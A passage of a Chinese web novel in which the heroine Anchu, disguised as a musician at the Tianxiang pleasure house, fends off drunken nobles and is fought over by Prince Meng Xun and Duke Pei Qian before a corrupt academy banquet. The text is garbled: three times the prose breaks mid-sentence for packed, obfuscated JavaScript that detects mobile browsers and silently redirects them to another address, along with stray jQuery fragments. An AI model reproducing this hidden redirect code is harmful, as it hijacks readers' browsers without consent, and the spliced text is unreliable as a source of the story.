她继续道:“少夫人说,想必你也是受了老太太的诓骗,若是不交待清楚,她心里头也过不去。” 安楚怔了证,没想到这冯家的少夫人还是个坦荡人,她道:“无事,今日也是凑巧,我同这位……急着回城,一并赶上了。” 红衣女子叹气道:“兰花姑娘医术出众,听说姑娘还治好了少夫人父亲多年未愈的咳疾,她甚为感念,只可惜俗务繁杂脱不开身,不能亲自来谢你。” 安楚其实也知道,那位少夫人自己也是举步维艰。 但有骨气的女子不喜欢欠着别人,冯少夫人想办法都要还清楚人情。 安楚两眼一亮:“我听闻冯家从前在北军五营做事,人脉颇广,对郢都周围也比较熟悉,如此,可否帮我找个人?” 红衣女子点头:“姑娘请讲,我记下便是。” “男子,身量七八尺,年岁十七八,眸子是浅褐色的,穿着旧罗麻的衫子,或许还带着一把黄色的油伞。” “还有什么特征?” 安楚慎重考虑一番,认真道:“有点好看,可可爱爱的。” 一旁的国公爷:“……” 谁?男人?好看?可爱? 国公爷第一次听见她用这个字眼形容人,当即就有些情绪失控。 “我替你找,上天入地,掘地三尺地给你找。”裴谦面不改色强行加入话题,笑容优雅,使人如沐春风。 瘆人的寒意让一边的红衣女子不由自主地抖了抖。 安楚摆手拒绝道:“这点小事还轮不到您这样的大人物出手。” 这还不算是大事?裴谦突然有了危机感。 他承认,一开始知道孟询那小子破天荒纳妾肯定没憋着好事——毕竟裴谦一开始就知道六皇子孟询想要假意拉拢荆家,这才想着纳妾这样的手段。 选谁都不要紧,但偏偏怎么选了这么一个不受待见的表小姐,还送出了自己佩戴多年的折枝牡丹白玉佩。 荆家倒台了,人也不见踪影,纳妾自然就不用再提。 虽说后来孟询还找了一下人,可惜消息石沉大海,小姑娘跟人间蒸发了似的,便再也没了下文。 国公爷横刀夺爱的行径也显得理所应当,令人无可指摘。 怎么还半路杀出了个少年人?哪儿来的?裴谦百思不得其解。 “兰花姑娘,已经到了。”马车师傅道。 马车缓缓停靠,安楚下车。回头刹那,深深地看了一眼天香楼金灿灿的牌匾。 龙飞凤舞的三个大字,蘸足了金粉,拿着金漆又裱了一圈,尽显奢靡之风。 天香楼的前身是旧时楚地文人骚客汇聚一堂、交流诗文的文昌星楼。 君子和而不同,思想碰撞登峰造极。 登高望远,看尽江水涤荡石岸,竞相出口成诗,落笔字字生花。 墨滴汇成大江大河,谱写无数传世之作。 但都城南迁后,格局大变,文昌楼易名天香楼,成了夜夜笙歌、歌舞升平的消遣之地。 不经意间,成了郢都权力中心最大的情报点,曾经的文人墨客成了历史长河里的一粒尘埃。 “留下我看什么大戏?”安楚偏头看他。 少女好像从来都不跟名门闺秀的优雅贵气沾边,同时她身上也没有江湖游侠的匪气。 复杂多变,随心所欲。 她似一阵风,无法被定义,无法被归束。 他一而再再而三地感叹着女子蓬勃朝气的芳华,情不自禁地欣赏着她的过人之处。 裴谦一本正经地理了理衣摆,温声道:“形中书院的高层官员今日在这儿受贿,你说我来干嘛。” 安楚撇嘴,毫不留情抱怨道:“你瞧你这干的都是什么事,自己手下的人手都管不好,你这个主理人做得太差劲了。” “事出有因,我这不是也在想办法解决问题么。”裴谦压低声音道。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033258|148301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 天香楼迎客的女使走了出来:“兰花夫人是冯家的吧,那位红衣女使方才交了帖子,您这边请,楼上伺候您梳妆。” 女迎客知晓一般这样的场合,正室夫人不会亲自应酬,这少女八成是冯家的妾室,但出门在外,都得依着脸面,加上一旁也没别人,笼统叫夫人准没错。 她准头看向一旁的男人,疑惑道:“这位是?” “夫人的侍从。” 裴谦已经学会了抢答,毕竟出门在外身份都靠自己争取。 这个夫人就叫得有意思了,是谁的夫人呢……光凭着这一句,不知道的还以为是他裴谦的夫人呢。 “是,侍从。”安楚莞尔点头。 “可这不合规矩……”女迎客有些为难。 “我这侍从性格温厚,不是刁钻人,准备一壶好酒,在一处僻静的雅间,足矣。”安楚挽起宽袖,拍了拍手。 裴谦心领神会,摸出一颗金豆:“夫人的一番心意,辛苦您带路了,入夜寒凉,吃点热酒暖暖身子。” 女迎客娇俏一笑,不动声色地收下了:“雅间多的是,待姑娘们温一壶热酒给您送去。” 到了楼上,一群少女如枝头上粉嫩的桃花,含苞待放,娇羞可爱。 安楚到了门口,猝不及防地被身后的女子一拍,跌进门里,吱呀吱呀的木门一下就合上了。 “夫人我们伺候您更衣。” 安楚被裹挟着,在一片欢声笑语中被剥去了外衫。 香粉扑在脸上、脖子上,还有后背上,肌肤吹弹可破,如丝绸顺滑。 伺候的少女轻抚安楚裸露的肩膀,将香粉擦匀。 “夫人,您皮肤真好……多铺点粉就更好看啦。唇色像一颗红透了的樱桃。”伺候的少女嬉笑着,玉指沾着口脂轻点朱唇。 安楚虽手足无措,但尽量使自己融入这欢乐的氛围中,她恭维道:“姑娘才是天生丽质,无需粉黛,一笑便能使万物失了光彩,果真是芙蓉不及美人妆,我瞧着更甚欢喜。” “别上这朵海棠,颜色更艳。”安楚粲然一笑,不知从哪儿摸出一朵海棠,轻轻别在姑娘的发髻上。 小姑娘瞧惯了形形色色的俊男俏女,像安楚这样的姑娘家倒是第一次见。 见着她如春色一般动人,眼眸如鎏金攒动,不由得心神荡漾。 在一片嘻笑声中,薄衫轻披,香髻如云。 安楚一身红衣长裾,交领长衫,腰上还叮叮当当挂了许多玉环和锦绣香囊。 推开门,少女抱着琵琶,逆着光站在门框边,鬓边一朵玉簪花。 人比花娇花无色,花在人前亦黯淡。 “怎么样,好看?” 裴谦霍然抬头:“好看。” 淡淡的光影里,她侧过的半张脸轮廓分明,神情冷淡,却又将秀丽和大气杂糅到了一起,难以想象这两种极端的气质交织在一块儿。 但安楚这儿做到了,那是一种极致又特殊的美,令人惊心动魄,挪不开眼。 “唇上的胭脂花了。”裴谦淡定俯身,拇指拂过她柔软的下唇。 闭上眼,野性和攻击性好像暂时消失了,艳光沉沉,静谧如水。 他凑近了,深情款款,羽睫轻颤。 回过神来,脸侧传来他手心炙热的温度,安楚想躲避,却发现这个长裾束缚住了她的动作。 “好了么?”她问道。 “骗你的,口脂的颜色很好看,没有花。” 36.风雨满楼(3) 先装柔弱,再得寸进尺。 安楚算是摸清楚了国公爷的风格。 她习惯地显露出自己的攻击性,明明场景旖旎,却将其置身事外,还杀气腾腾地想让这个多事的家伙闭嘴。 国公爷未必不知道这人的不解风情,但他有足够的耐心。 他偏偏要她心甘情愿地为他俯首称臣。 以当前的形势来看,这几乎是难以登天的事。 安楚问:“到时辰了,你还杵在这儿?不需要做点什么了?” 裴谦轻笑一声:“都到了自己的地盘,还准备什么?” 天香楼藏污纳垢,整顿后效果依旧不明显。 皇帝不想让其他世家继续插手,于是一一纳入皇室私产的行列。 至于裴谦,他当前风头最盛,新贵要有新贵的派头,皇帝愿意给他这个恩宠。 于是天香楼的管理运营权便落到裴谦——众人都将火力集中于崔家,也来不及管上其他。 王家有心,但是没争过这位新贵。 毕竟这么大一个家族,只有王策云一个人支撑,难免力不从心。 不管这个人多强势,多有能耐,但终归不能成全整个家族的前程。 镂空窗柩上扑腾着飞来一只灰毛棕嘴的飞雀,比寻常的鸟要大一些。 爪子红通通的,模样敦实,眼神亮晶晶的。 裴谦站在窗前,半面身子站在光影里,衣袍虽是洗得发白的粗布麻衣,但于他而言并不妨碍:“我随后就来。” 鸟雀跳到裴谦的肩头,叽叽喳喳,摇头晃脑,时不时还用鸟喙啄一啄后背的毛。 裴谦将绑在鸟腿上的密信拆了下来,就着透过镂空栅格的光,他脸上漫不经心地流露出慵懒的笑意。 笼罩在郢都上空的雨云,悄然酝酿。 安楚抱着琵琶准备下楼,楼梯有些年岁,走上去便发出刺耳的吱呀声响。 转角处,安楚迎面碰上了寻欢作乐的公子哥们。 三五成群,勾肩搭背。 “小美人儿,你是哪个妈妈手底下的,生得花容月貌的,我喜欢来陪爷俩喝几杯,哥哥给你买金花儿戴,想买多少就买多少……嗝。” 纨绔公子哥呼出臭烘烘的酒气,身上的锦衣被扯散,脖颈间尽是交错的胭脂痕。 举止轻佻,满面色相,醉醺醺地围着安楚。 另一个看热闹的也不赖,都是喝了不少酒,不知道从哪个鸳鸯被里爬出来的。 他悄无声息地伸手,拽紧了安楚的手腕——这一身衣裳对安楚来说过于拖沓,她没来得及躲开。 要是真动手,恐怕有诸多不便。 安楚不想惹事,往后躲了躲,却不想反被两人逼到了墙角:“抱歉两位爷,奴家卖艺不卖身。” 两位爷蹬鼻子上脸。 两人色眯眯的,狞笑两声,似乎十分享受女孩抗拒挣扎的过程,纨绔公子哥咧嘴笑道:“卖艺难免不卖身,打着不卖身的旗号不就是想卖个好价钱么。” 只可惜安楚面沉如水,既不挣扎也不哭泣,这不禁让纨绔公子哥和同行的另一人有些失望。 她弓腿猛然一踢,出脚迅猛如雷,正面对的登徒子始料不及飞了出去。 纨绔公子哥不信邪,不相信这女孩还手了,还敢一脸凶神恶煞地瞅着他,这样的凝视让他感觉很不舒服,像是被肆无忌惮地冒犯。 他在地上喘着气,差点一口气没提上来。 另一人站在一旁,庆幸自己站远了些,他目瞪口呆:“你居然!你居然敢动手……你知不知道他是谁?” 还未等国公爷上演精彩的英雄救美,安楚却早已作出反应。 躺在地上的纨绔公子哥觉得颜面受损,想要急于找回荡然无存的男人尊严。 “你……你这贱蹄子,敬酒不吃吃罚酒!看老子不打死你!”他骨碌爬起身,狼狈地擦去了嘴角的白沫,一瘸一拐地朝安楚扑去。 安楚根本不需要特意躲避,瞧着来人饿狼扑食般飞来,腿后退两步,抿唇,当机立断举着琵琶,砰的一下抡中登徒子的脑袋。 动作一气呵成,势如破竹,那架势敢情来十个登徒子她都有力气和手段。 纨绔公子哥冒血的脑袋让人想起了爆熟的西瓜。 男人的气节和酒气不由得冲上脑门,脑子塞满了劣质浆糊。 “你……贱人……我要你好看!我可是王家的男丁,你一个卖笑卖身子的妓女,敢这么羞辱我,我要杀了你……” 纨绔公子哥被打,心中多有不甘,他费劲地爬起身,毫无形象破口大骂。 逃避是解决不了问题的,在衡量自身实力后,安楚毅然决然出击,用强硬的拳头好生教育了他一番。 “不长眼的登徒子,都说了老娘卖艺不卖身,敢对姑奶奶动手动脚,你几条命?” 安楚满面冰霜,一副生人勿近的模样。 末了,安楚豪爽地拍了拍手,将琵琶靠着墙角顺手放下。 安楚冷脸亮了亮自己的拳头:“不会讲话就回娘胎里重造,少在这儿丢人现眼。” 这个世道果真还是得靠拳头说话,谁拳头硬谁才有资格说话。 “贱人!我要告诉我哥……我要告我族兄!你敢这么对我……我要扒了你的皮!” 被砸懵的登徒子捂着脑袋呜哇呜哇地呻吟着,略懂拳脚的安楚一脚踢到回廊里边,若无其事地整理衣冠,大步流星走了出去。 “你……”另一个赶紧往后退了几步,瞪得眼珠子快要掉出来了。 安楚酝酿出一个微笑,气势淡定:“看什么看,你也想挨巴掌么?” “不……”他支支吾吾张了张嘴,却不知该说点什么,退在角落里不知所措。 下楼,众人开路。 安楚沉默着,若无其事走过拥簇的人群,她像一滴水,汇入江流大海。 兴许楼里的新客旧客都不认识这个泼辣姑娘,但目睹全程的人不在少数,谁也不敢贸然挡住她的路。 还有不少人担心她往后的路。 那可是王家的少爷,他们家出了个掌实权的首辅大臣,荣誉等同三公。 得罪了这样的贵人,以后肯定没有好果子吃。 她一路下楼,却不知有人正在一处角落中一直关注着她。 “站住。” 安楚只觉得声音熟悉,但她不敢停下,只得装作没听见赶紧往前走。 “站住,不许走。” 短尖刀如白尾流星,刀光雪白,从安楚眼前分寸之处飞去,堪堪插进她身前的柱子里。 一股阴冷的感觉滑过,安楚不由自主打了个寒噤。 暮然回首,她不由得愣在原地。 居然是孟询! 安楚赶紧行礼,沉默半晌开口:“这位爷请安。” 少女低垂着眉眼,咬紧牙关,只求不要节外生枝。 “你瞧着眼熟,我们见过。”孟询微微扬起下巴,一眨眼的工夫便站到了安楚身前。 他确信自己的判断,尽管是没有相见几次,但那少女的身影总在他的脑海里挥之不去。 “你姓什么?” 安楚后退一步,预判男人的动作,偏头躲了过去:“我姓安。” 孟询伸手,想要仔细地看一看她的模样。 “大人自重。”安楚虽是弯腰恭维着,但语气不卑不亢。 孟询也是晃了神,这姑娘身量与那荆楚歌相差无二,虽容貌有所差异,但……骨相不会骗人,孟询收回手,将手背反靠在后腰。 他站在安楚之前,身影笼罩在朦胧的光影里,碧玉金冠,一身浓墨玄衣,气宇轩昂,贵不可言。 “你是谁的姑娘?” 安楚没敢松气,如实回答道:“随着冯家的人一起来的,不是这儿的姑娘。” 孟询不死心,反问道:“冯家的?” “今日有筵席,特被吩咐来弹奏雅乐助兴。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14057461|148301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我倒是听说过。”孟询倏尔一笑,像是想起了什么有趣的事,“不如你不要去了,你跟我走吧。” 他绕着安楚,轻缓踱步间,手悄然搭上了她的肩膀:“筵席宾客都是一些粗鲁的莽汉,姑娘身娇体弱的,去了怕是会被吓着。” 安楚被吓得一激灵,孟询的出现属实在意料之外。 按理来说,他们之间姑且没有瓜葛,她完全可以视而不见装作不认识,但突如其来的压迫感让安楚喘不过气。 “我……我不能跟你走。”安楚回答。 孟询身上带着淡淡的酒气,浅酌两杯后,他感官异常敏锐:“我方才便瞧见你了,你出手很快,将那两个调戏你的家伙砸倒在地,动作利落,行云流水一般。” “你为什么不动手?” “是因为位畏惧我的身份,还是……你觉得出手了,我会认出你的身法。嗯?说话。” 孟询咄咄逼人,将人逼至角落。 安楚知道,不论是哪一个回答,她都会掉入圈套。 畏惧身份,她尚且不知那两位纨绔子弟的身份,却能够毫不犹豫地出手揍了,平心而论,动手了多揍一个少揍一个差别不大。这样一来不是间接承认,她知道他的身份? 认出身法,荆府落水那一日,他曾逗弄过自己,几招过手他该是能认出自己的招数。 唯有沉默应对。 飒飒冷风中,安楚背后生出冷汗,荆家如今被抄,若是她在被卷入旧案,到时候岂不是真的要进大狱? 玉兰花的香气悄悄爬满孟询的衣襟,两人站得太近,彼此间的香味似是无形的小钩子,将二人捆到了一起。 孟询心绪纷乱,他找了许久的人赫然出现在自己面前,有些不可置信,还带着两分窃喜。 虽不是俗套的一见钟情,但孟询着实对这个女孩感兴趣。 她锐利如玄铁刀锋,耀眼如刀柄上点缀生辉的西北红宝石。 他的欣喜建立在新鲜感上,纳妾便是要她落到他的掌心,好生做一只乖巧逗乐的金丝雀。 将她绑在自己身边,日日夜夜只对着他一个人。 “阿询,真巧。” 裴谦从另一头回廊走过来,这时的他已经换好了自己最常穿的那一套衣袍,两侧腰带挂着穗子。 金玉堆砌,月色撩人。 他重新回到自己的位置,成为居高临下的掌控者。 安楚也不惊讶,顺势朝国公爷窜去,双臂一抱,八爪鱼似的抱紧了国公爷的臂膀。 国公爷被突如其来的幸福冲昏了头,转而沉闷一笑:“好姑娘,怎的突然这么主动。” 语气温和又缠绵,安楚别无选择,只能顺应国公爷的即兴发挥。 “多日都不见你楚国公了,今日倒是有这样的闲情雅致,出现在此处。我是说怎么不愿意跟我走,原来是被你捷足先登了。”孟询转头,目光定定地落在安楚身上,灼灼热意,不言而喻。 “怎的,要替这位姑娘解围?你认识这冯家的姑娘?”孟询一次性抛了好几个问题,要是一个不留神便又要拽进坑底。 “冯家的,你不认识。”裴谦语调平淡,游刃有余地轻抚少女的侧脸,少女难得顺从,“今年稀奇事不少,形中书院的特意献上来的,我瞧着合乎眼缘,便留下了。” 安楚瞥见他食指上戴上了一枚羊脂玉的扳指,那玉透亮,冰冷坚硬,几乎没有杂色。 孟询不动声色地调侃道:“我怎么记得楼下边儿收拾的筵席,是你们形中书院的教谕私设会客的。” 裴谦轻笑,将少女揽进怀里,“书院内部积弊已久,是时候出手整顿了。” 刹那间,月华盈袖。 安楚愣愣地望着眼前的人,整个天地都只余下他的眼波,令万物失其光华。 她心中忽然萌生出一股奇异的情绪,惊喜、讶异、不解,还有轻微的抗拒。 不得不说,正经起来的国公爷真的很好看。 37.风雨满楼(4) 裴谦衣袂翩翩,抬手间将安楚拉得更近:“今日我还有些事,阿询,下次我做东,开一坛好酒,好好款待你和太子殿下。” 安楚呼吸一滞,周身笼罩着极其浓烈但并不令人生厌的沉木檀香,心头小鹿乱撞,像泛起涟漪的溪流卷起哗哗白浪。 楼内光影交错,晦暗不明。 雕梁画栋,古朴如斯,似乎能在回旋的楼梯中窥见短暂的旧日时光。 如琉璃灯上的旧画影,一幅一幅拓印在时光的尽头。 孟询这一刻想了太多,他思量的越多,离她却越远。 他知道自己不能坐以待毙下去,说什么当时清算荆家的时候把那位表小姐带走。 如今算是重演了一遭,孟询不能轻易将人放走。 “我想要她,承影。”孟询阻拦他的去路。 他站在安楚二人的面前,语气坚定,抬眸看向裴谦,眼神出乎意料的坚定。 二人之间虽没到剑拔弩张的地步,但是也差不多了。 细流之下,热潮汹涌,像一口蓄势待发的滚烫泉眼。 裴谦一脸疑惑,无辜道:“好好的姑娘家,清清白白,她愿意跟谁走就跟谁走,你对着我说想要也没什么用。” 话虽这么说,但裴谦十分违心地没有撒手。 安楚胸口有些发烫,她说不上话,在二人中间横着。 言语的撕扯让她进退两难。 孟询赌气道:“你这般行径,口口声声替她着想,却又一边跟她不清不楚地拉扯——承影你口是心非!” 安楚淡定躲过孟询的目光,再度将注意力集中到国公爷食指上那枚戒指上了,那枚戒指通透无比,隐约透出浅色的绿光,像一层金银照闪的火彩。 细碎银光如星河流淌,将那双手衬得形态美好,令人不舍移开目光。 她分明知道,自己是被迫裹挟于洪流的普通女子,但她没办法反抗。 安楚不应该不知足,她被两个位高权重的男人争夺着,不论是风花雪月的一夜风流,还是真心实意的婚姻嫁娶,这或许会是她最好的宿命。 她眼前的人影开始模糊,恍惚间,她看见了世俗对女子命运的约定俗成。 “怎么,六殿下要横刀夺爱了。”裴谦毫不客气地点破窗户纸。 “夺爱?这话说得露骨了点,承影你怎么脑子不清醒似的。”孟询挑眉,没忍住笑出了声。 他们这样的人,对女人能有什么情爱?不过是对芳华的采撷,对风月情浓的拥揽。 待孟询笑够了,裴谦故作深沉开口:“阿询,你就不怕,这姑娘就是我亲手为你准备的礼物。” 口吻平淡,却又带着淡定的疯感,这是显而易见的恐吓威胁。 此话一出,两人之间的气氛骤然一冷。 裴谦继续道:“阿询,太子殿下总在嘱咐你,万事谨慎,如今为了一个来历不明的姑娘,你便直往圈套里钻,说出去不知要引多少人的笑话。” 他说得一本正经,谁知道他是不是借着玩笑说出真心话。 不排除裴谦会这么做,但他现在把这个话搬到明面上说是几个意思? 此地无银三百两? 不对,裴谦他做事向来是有头有尾的,前因后果必要分个清楚。 他这是什么意思?莫不是真的想在自己身边安插眼线? 还是说裴谦已经开始朝他们动手了? 孟询皱眉,太多推测,来不及一一融洽,他顿时觉得自己的脑子不太够用。 裴谦瞧见孟询脸色一阵青一阵白,立马朝他拱了拱手,温和道:“六殿下看着,怎么突然就变了脸色,不过是两句玩笑话,莫要当真了才是。” 孟询抬眸挑眉,认真地看着裴谦的脸,道:“玩笑话罢了,本王可不信承影会做出什么有伤情分的事。” 情分是何等虚无缥缈的东西。 裴谦莞尔微笑,朗声道:“六殿下果然不会因为承影的一两句玩笑话较真。” “如此,承影甚爱这位乐娘,本王就不做横刀夺爱的事了。”孟询拍了拍他的肩膀,“既然你还有事,本王就不耽搁你了,免得误了事,到时候你还来埋怨我这个不作为的闲散亲王。” 二人言笑晏晏,却有一种利刃即将出鞘的凉薄森然。 他目光沉沉,深深地看了一眼安楚,少女表情恬淡,好似心不在此。 孟询就是这样的人,得不到的永远是最好的。 小时候得了一匹通体棕红的汗血宝马,来着草原大漠的纯血马,纵使抛掷千金也难买到。 他软磨硬泡了许久,父皇终于答应把这匹马给他了,万众瞩目下,他拥有了全大盛最好的马,但孟询握住缰绳的那一刻突然又不喜欢了。 不过尔尔。 他将烈马驯服,却始终觉得有些滚烫的情愫已经消失殆尽。 后来他才知晓,消失殆尽的滚烫是他求之不得之时的欲望。 但这个人不一样,她是活生生的人,相比于许多女子,她是不一样的——孟询并不确定,裴谦是否知道她的真实身份。 孟询难以忘记那双比湖面粼粼水光还要亮的眼眸。 晚风涤荡过衣袂,吹拂微微疼痛的心口,不觉伤只觉得痛快而恍惚。 暂时就此别过,来日方长。 安楚望着回廊尽头孟询的背影,出声道:“六殿下生性多疑,你这么跟他说话,难保以后不会对你有戒备之心。” 裴谦松开了手,笑着摇了摇头:“戒备之心不死,只是深浅有别,在下又不差这一次。” 安楚可不想再遭什么无妄之灾,没吃上羊肉反倒惹了一身膻味。 “你同六殿下不是一个阵营的么?外边都传开了,你是太子和六殿下的人。”她还是没忍住问出了口。 裴谦笑了,“所以你觉得我是么?” “与我无关,到时辰了我该走……”安楚欲要脱身,却又被拢进了一个温暖的、充斥着檀木香的怀抱。 裴谦甚是迷恋这种亲密的接触方式,尤其是在面对安楚的时候。 对拥抱的渴求像一簇爆裂的火花,引燃了长线,将黑夜的星河铺满了碎金箔的烟花。 有的时候他会想要的更多,虽是不切实际的,但他还是心甘情愿地去想,去争取。 “你在担心我,阿楚,是不是?”裴谦将头埋在安楚的颈窝间 安楚闷声回道:“不过是顺嘴的话,国公爷莫要自作多情。” 鬼使神差问的,怎么还较真了。 看来真的是好奇心害死猫。 她想强行挣开,却发现这人虽看着病殃殃的,但力气和姿势完全是不容小觑。 安楚讶然出声:“六殿下怎么又折返?是掉了什么东西?” 裴谦下意识猛然松了松手,安楚反应迅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125896|148301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 速,提着衣摆立马跑了出去。 毫无形象,与大家闺秀完全沾不上边。 少女甚至十分挑衅地朝他做了个鬼脸。 他没忍住松懈了一口气,笑出了声。 瞧着她远去的背影,怅然若失的失落感再一次席卷而来。 好似真的无能为力。 裴谦缓缓握紧手心,四周还遗留着少女落下的香气,裹挟着冲辣的木质香,让人联想到开在枯木上的晶莹小花。 随风摇曳,被雨露沾湿如玉珠般透亮。 晚宴时辰,钟楼响了一阵。 浑厚的钟声响彻郢都正午门的长街,楼阁环绕,灯影重重。 金色的暖光落满整个高楼。 安楚走进迎客指明的雅间,是一个摆着宽案的大厅,暗青的屏风摆在两侧,丝面竹骨,安静而雅致。 酒筵上好不热闹,嘈杂声阵阵,混杂着丝竹乐声,安楚被强制唤醒了死去的记忆。 不久之前她还在天香楼跑腿打杂。 天香楼的男男女女是最不值钱的,兴许比黑市里的奴隶稍微贵一点。 金贵的是在座的宾客,他们纸醉金迷地享受着郢都的歌舞升平。 全然看不见笙笙乐歌下腐朽残破的百姓血泪。 安伯说,自打南渡,本地豪强与外来氏族就不对付。 双方都不想落了下乘,于是浩浩荡荡地打响了争名夺利的战事。 文人学士的较量,无需狼烟四起,无声无息中,只言片语中,谈笑风生中,指不定就将谁家的宗祠给烧了。 由此可见,落败者的下场也不见得比战死沙场好。 各有各的难处,各有各的难堪。 座上人一揽,将一旁的姑娘揽入怀里:“花团锦簇的,迷乱人眼,都不知道该采撷哪一朵好……” 酒水杯盏撒了一地,但无人关心。丝竹声下,遮掩着阵阵悦耳的娇笑。 “沾了赵院长的光啊,才有今天这顿饭。”一位肥头大耳的低品阶官员满脸油光,笑容从□□里挤出来似的,望着歌女的手背,口水都要淌下来了。 他虽品阶不高,但是凭借着职位之特殊,与许多豪门子弟混成一片,混得盆满钵满。 赵裕昌沉默不语,脸色阴沉,端起案上的酒杯,一饮而尽。 他不习惯这样的应酬。 口感醇厚,唇齿生香,传闻是王家郎君偏爱的花酿酒。 王郎君便是那位赫赫有名位高权重的王首辅王策云。 郎君风流却也有惜花之心,引得无数闺中少女神魂颠倒。 形中书院面向中原江山的学子,为朝廷选拔栋梁,为天下选定安定之才。 早年颇有成效,只是到了近些年,皇帝削减了形中书院的影响力,管理渐渐疲软。 尽管如此,依旧有很多人为了这个名头趋之若鹜。 对世家子弟而言,出身形中书院无异于镀金,再往后的为官道路上也会有一笔增色。 寒门子弟?他们的死活谁爱管谁管。 他不否认某些世家大族出了一些有才能有担当的人,但这不是抹杀寒门子弟进取机会的理由。 赵裕昌心中一阵翻江倒海,他所做的努力非常有限。 立下无数为寒门子弟考虑的门规,只希望真正能发掘出藏匿在污泥中的珍宝。 现在看来,这条路任重而道远。 38.风雨满楼(5) 熏香袅袅,辛辣之味伴随着香料混在酒气中间。 金银器皿无数,羊脂玉的酒壶,还有点缀蜡烛光亮的夜明珠。 “不过是多加一个人,我看京畿冯家的小公子,他热心上进,爱钻研经书,破格录取了罢。” 轻飘飘的一句话,就能决定一位学子的入学。 他需要好的家室,还需要一颗圆滑的世俗心。 虽然这是立世之道,但是未免过于恶俗。 另一位文人学士出言讥讽:“白大人这么说,莫不是冯家已经将银两准备齐全了?” 这是一位穿着朴素的中年男人,一脸严肃,刚正不阿的模样与当前的酒局氛围格格不入。 好似他不是来喝酒作乐的,更像是伏案苦读被迫拉出来凑人数的。 身后身旁也没有伺候的人,孤身一人斟酒自酌。 他拧着眉,眼睛瞪得像铜铃,想要上前伺候他的小姑娘瑟缩后退。 小姑娘哪见过这样的阵仗,差别没被吓哭。 这人像是下一秒就要考她论语孟子的老夫子,要是答不上来就要罚抄写,抄写不完就要挨板子了…… 大腹便便的白会哼哧哼哧笑了起来,心情大好,灌了一口酒,兴冲冲道:“哪儿能,我岂是见财眼开的人!不过是几百两雪花银,哪怕是黄金,本官也不会稀罕。” 另一位做惯了老好人的官员不愿意话落到地上,便出口解释道:“纪大人,这你就有所不知了吧,冯家送了一个乖巧可人的妙龄乐姬,献乐曲,邀人共赏。” 纪启元气得皱眉,手里握的杯子都要捏碎:“白大人,你这等年纪,都能做人家闺女的叔伯吧。” 真是有辱斯文!怎么能这样不知廉耻! 众人皆知,这位白大人家里管得严,白夫人见不得他在外头沾花惹草。 正所谓兵来将挡水来土掩,白会自有自己排遣的办法。 他管着书院的招生,自认为有发言权,趁着职务之便,不知道祸害了多少人家的好姑娘。 如今越演越烈,玩得越来越花。 他竟模仿起皇帝翻牌子那般,暗示着底下的人给他送好人家的姑娘。 为什么要好人家的?首先,干净;其次,省事。 怎么个省事法?自然是平头老百姓无处伸冤,花上一点钱,连威胁带恐吓的就能摆平,何乐不为。 若是姑娘有什么兄弟就更好了,一家人会为了这位兄弟的前程心甘情愿地将委屈咽下。 “那又如何,现在的姑娘们就是喜欢年纪大的,就比如像我这样的。”白会勒紧裤腰带挺起胸脯。 纪启元道:“喜欢你这样有家室还猪头肉似的老男人?” 众人对此喜闻乐见,纪启元是个直人,素来有什么说什么。 加上主座上的赵院长还没开口,众人便只顾着插科打诨将这玩笑话快些翻页,免得白会日后算账,到时候还要迁怒旁人,“纪大人有所不知,玩女人嘛,年纪都不是问题,玩出水准玩出情调才是真不辜负美人香。” 白会这才感觉自己找回了点面子,虽是叹了口气,但满面春光,好不得意:“偏安一隅罢了,咱们蜷缩在皇城的角落里,跟那些风雨沾不上边,也就只能过过这样的日子了,哎哟,真是一眼望得到头的日子。” 纪启元继续补刀:“那是因为你有个好爹,不然还偏安一隅呢。” 在场无人不低头闷笑的,但是碍于情面,表情意味深长。 畏惧而非敬畏。 “纪启元,你目无尊上!好大的胆子,你……”白会拍案而起,气得脸颊两侧的肉直哆嗦。 纪启元拱手作揖:“案牍劳形,下官形容憔悴,先行告退了。” “近段日子你也是辛苦了,这样的应酬你也是不大习惯,”赵裕昌抬眼,绣云纹边的宽大衣袖下,指尖缓缓抚上腰间的一枚缺口的玉环,“怎么还吵上了,不是喝酒么?” 纪启元不卑不亢,鞠躬作揖,大步离去,一气呵成:“谢院长体恤下属。” 白会皮笑肉不笑,对着首座作揖,自行坐下后摸了摸额头上油光水亮的虚汗,低声问一旁的下属:“谁请他来的?一个收拾文书的呆子,有什么资格过来与我们同坐?” “这位是赵裕昌赵院长往日走得近的……要是撇开他,终归是不好的,明眼人一看就是咱们结党营私,这多不好啊。”下属叫苦不迭,满脸讨好谄笑地擦着汗,“哪知道这纪启元这般不识好歹,下属回去了一定会好好严惩。” 雅间旁是一排轩敞的屋子,灯火通明,丝竹悠扬,雕花隔扇里泄出淡淡龙涎的香气和酒气。 